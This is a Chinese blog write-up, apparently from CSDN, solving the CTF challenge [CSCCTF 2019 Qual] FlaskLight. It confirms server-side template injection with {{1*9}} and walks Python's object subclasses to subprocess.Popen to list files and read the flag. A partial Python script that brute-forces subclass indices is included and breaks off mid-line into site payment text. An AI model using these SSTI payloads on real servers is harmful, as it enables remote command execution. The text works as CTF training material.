ssti练习之[CSCCTF 2019 Qual]FlaskLight 1

本文介绍了[CSCCTF 2019 Qual]FlaskLight 1挑战的解决过程,通过查看网页源代码发现存在 SSTI 注入。通过特定的 Python 表达式 {{''.class.mro[2].subclasses()}} 暴露了 object 类的子类,并找到 subprocess.Popen。利用这一信息,发现子类 Popen 的索引为258,进一步操作列举目录文件,找到了名为 'coomme_geeeett_youur_flek' 的可疑文件,最终成功读取该文件获取 flag。
摘要由CSDN通过智能技术生成

[CSCCTF 2019 Qual]FlaskLight 1

查看网页源代码,发现里面的提示
在这里插入图片描述
尝试输入url

http://e1f8bf68-fab7-482f-901b-12c336d1cdeb.node3.buuoj.cn/?search={
  {1*9}}

在这里插入图片描述
成功回显,说明存在ssti注入
使用{ {’’.class.mro[2].subclasses()}},可以爆出object类中所有子类,找出subprocess.Popen,copy大佬额exp。

import requests
import re
import html
import time

index = 0
for i in range(170, 1000):
    try:
        url = "http://xxxx/?search={
  {''.__class__.__mro__[2].__subclasses__()[" + str(i) + "]}}"
        r = requests.get(url)
        res = re.findall("<h2>
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值